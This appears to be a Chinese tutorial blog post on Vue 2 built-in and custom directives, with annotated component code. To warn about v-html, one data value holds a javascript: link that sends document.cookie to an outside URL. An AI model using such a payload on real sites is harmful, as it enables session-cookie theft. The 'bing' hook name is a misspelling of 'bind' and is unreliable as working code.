vue中的内置指令和自定义指令

内置指令

• v-html指令可以识别标签属性,在用户提交内容上。应避免xss攻击

• v-cloak指令防止页面加载不及时，展示未解析的代码。配合display: none，在未加载时将其隐藏

• v-once指令与事件指令once不同，once作用是只能生效一次。如：@click.once

• v-pre指令跳过该节点的编译过程，优化编译时间

• <template>
    <div class="hello">
      <h3>{{ name }}</h3>
      <!-- v-text不识别html结构,也就是不识别标签 -->
      <h3 v-text="name"></h3>
      <h3 v-text="structd"></h3>
      <!-- v-html识别html结构,但要注意v-html有安全的性的问题。在用户提交的内容上不要使用 -->
      <h3 v-html="structd"></h3>
      <h3 v-html="safe"></h3>
      <!-- 当网速延迟时,Vue未接管容器时直接展示html结构。为解决该问题引出v-cloak配合css解决网络延迟问题 -->
      <h3 v-cloak>{{ name }}</h3>
      <!-- v-once所在的节点视为静态内容。不会引起v-once所在结构的更新，可以用于优化性能 -->
      <h3 v-once>{{ add }}</h3>
      <button @click="add++">点击我加加</button>
      <!-- 当没有使用指令语法或插值语法,为优化编译速度用v-pre。v-pre为跳过该节点的编译过程 -->
      <h3 v-pre>Vue学习</h3>
    </div>
  </template>
  ​
  <script>
  export default {
    name: 'Select',
    data () {
      return {
        name: '小明子',
        structd: '<h2>啦啦<h2>',
        // 在不被http协议保护下,下列代码会将你的cookie获取
        safe: '<a href=javascript:location.href="http://www.baidu.com" + document.cookie>点击一下<a>',
        add: 1
      }
    }
  }
  </script>
  ​
  <style scoped>
  /* 选取代码中包含v-cloak */
    [v-cloak] {
      display: none;
    }
  </style>

  自定义指令_对象式

• Vue识别自定义指令的流程为：Vue一开始元素和指令成功绑定(也就是v-big可以用了)，页面未解析。当发生对应数据的改变，页面重新解析自定义的元素，调用自定义的指令。

• vue提供了三种自定义指令在任意时刻被调用

  1、bing()指令与元素成功绑定时调用该函数

  2、inserted()指令所在的函数被插入页面时

  3、update()指令所在的模板被重新解析时

• <template>
    <div class="hello">
      <!-- 利用自定义的v-big实现数值扩大10倍 -->
      <h3>当前的n值{{ number }}</h3>
      <h3>扩大10倍的值为<span v-big="number"></span></h3>
      <!-- 利用自定义的v-fbing实现输入框内的数字++ -->
      <button @click="number++">点击我加加</button><hr>
      <input type="text" v-fbing:value="number">
    </div>
  </template>
  ​
  <script>
  ​
  export default {
    data () {
      return {
        number: 1
      }
    },
    // derectives为自定义的指令，在directives里面设置需要的指令
    directives:{
      // element为元素(自定义标签)，当元素(v-big)与指令(span标签)成功绑定,big函数就被调用。当指令所用到的数据被修改big函数也被调用
      big(element,bangding){
        // 这行代码作用是查看成功绑定后，vue提供的信息
        console.log(element, bangding);
  ​
        // bangdIng.value代码是让Vue找到bangding中的value之后number让其扩大10倍
        element.innerText = bangding.value * 10
      },
      fbing(element,bangding){
        // console.log(element,bangding);
        element.value = bangding.value
        // 运行成功后,问题出现：鼠标光标并不在输入框内。因为一开始vue一上来就将元素和指令绑定，页面未解析。需要点击button页面的数据发生改变。光标才出现在输入框
        element.focus()
      }
    }
  }
  </script>
  ​
  ​

• 解决鼠标光标问题就是让自定义元素的调用提前或者元素和指令绑定成功。就开始调用函数

• <template>
    <div class="hello">
      <!-- 利用自定义的v-fbing实现输入框内的数字++ -->
      <button @click="number++">点击我加加</button><hr>
      <input type="text" v-fbing:value="number">
    </div>
  </template>
  ​
  <script>
  export default {
    data () {
      return {
        number: 1
      }
    },
    directives:{
        //将自定义的元素写成对象形式。而上面的函数形式是其缩写形式。对象形式比缩写形式就多了一个inserted函数
      fbing: {
        //在成功连接后调用下列函数
        bing(element,bangding){
          element.value = bangding.value
        },
        //在v-fding被插入到页面时调用下列函数
        inserted(element, bangding) {
          element.focus()
        },
        //在v-fding所对应模板被解析时调用下列函数
        update(element, bangding) {
          element.value = bangding.value
        },
      }
    }
  }
  </script>

• 全局的自定义元素和过滤器的全局方式一致

• <template>
    <div class="hello">
      <!-- 利用自定义的v-fbing实现输入框内的数字++ -->
      <button @click="number++">点击我加加</button><hr>
      <input type="text" v-fbing:value="number">
    </div>
  </template>
  <script>
  import Vue from 'vue'
    //注意这里directive没有s，directive('自定义的元素名',fbing的对象)。如果是方法则是directive('自定义的元素名',function()) 
  Vue.directive('fbing', {
    bing(element, bangding) {
      element.value = bangding.value
    },
    inserted(element, bangding) {
      element.focus()
    },
    update(element, bangding) {
      element.value = bangding.value
    },
  })
  export default {
    data () {
      return {
        number: 1
      }
    },
  }
  </script>
  ​
  <style scoped>
  ​
  </style>
  ​